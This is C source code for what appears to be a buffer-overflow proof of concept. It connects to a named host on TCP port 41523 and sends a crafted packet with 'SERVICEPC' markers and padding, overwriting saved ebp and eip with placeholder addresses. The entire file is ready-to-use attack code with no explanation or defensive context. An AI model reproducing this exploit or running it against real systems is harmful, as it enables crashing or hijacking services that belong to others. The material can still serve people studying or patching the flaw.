//cybertronic@xxxxxxx #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <netinet/in.h> #include <netdb.h> #define RED "\E[31m\E[1m" #define GREEN "\E[32m\E[1m" #define YELLOW "\E[33m\E[1m" #define BLUE "\E[34m\E[1m" #define NORMAL "\E[m" #define PORT 41523 void start ( int s ) { char buffer[4096]; bzero ( &buffer, 4096 ); memset ( buffer, 0x41, 50 ); buffer[0] = 0x9b; buffer[1] = 0x53; //S buffer[2] = 0x45; //E buffer[3] = 0x52; //R buffer[4] = 0x56; //V buffer[5] = 0x49; //I buffer[6] = 0x43; //C buffer[7] = 0x45; //E buffer[8] = 0x50; //P buffer[9] = 0x43; //C buffer[17] = 0x18; buffer[21] = 0xc0; buffer[22] = 0xa8; buffer[23] = 0x02; buffer[24] = 0x67; buffer[25] = 0x53; //S buffer[26] = 0x45; //E buffer[27] = 0x52; //R buffer[28] = 0x56; //V buffer[29] = 0x49; //I buffer[30] = 0x43; //C buffer[31] = 0x45; //E buffer[32] = 0x50; //P buffer[33] = 0x43; //C buffer[41] = 0x01; buffer[43] = 0x0c; buffer[44] = 0x6c; buffer[45] = 0x93; buffer[46] = 0xce; buffer[47] = 0x18; buffer[48] = 0x18; //ebp buffer[49] = 0xbe; buffer[50] = 0xba; buffer[51] = 0xad; buffer[52] = 0xde; //eip buffer[53] = 0xde; buffer[54] = 0xc0; buffer[55] = 0xad; buffer[56] = 0xde; printf ( "[*] Sending buffer [ %d bytes ]...", strlen ( buffer ) ); if ( write ( s, buffer, strlen ( buffer ) ) <= 0 ) { printf ( RED "Send failed!\n" NORMAL ); exit ( 1 ); } printf ( GREEN "OK!\n" NORMAL ); sleep ( 1 ); } int main ( int argc, char *argv[] ) { int s; struct hostent *he; struct sockaddr_in addr; if ( argc != 2 ) { fprintf ( stderr,"Usage: %s hostname\n", argv[0] ); exit ( 1 ); } printf ( "Resolving hostname..." ); if ( ( he = gethostbyname ( argv[1] ) ) == NULL ) { printf ( RED "FAILED!\n" NORMAL ); exit ( 1 ); } printf ( "OK!\n" ); if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 ) { exit ( 1 ); } addr.sin_family = AF_INET; addr.sin_port = htons ( PORT ); addr.sin_addr = *( ( struct in_addr * ) he->h_addr ); printf ( "Connecting to %s...", argv[1] ); if ( connect ( s, ( struct sockaddr * ) &addr, sizeof ( struct sockaddr ) ) == -1 ) { printf ( RED "FAILED!\n" NORMAL ); exit ( 1 ); } printf ( "OK!\n" ); start ( s ); close ( s ); return ( 0 ); }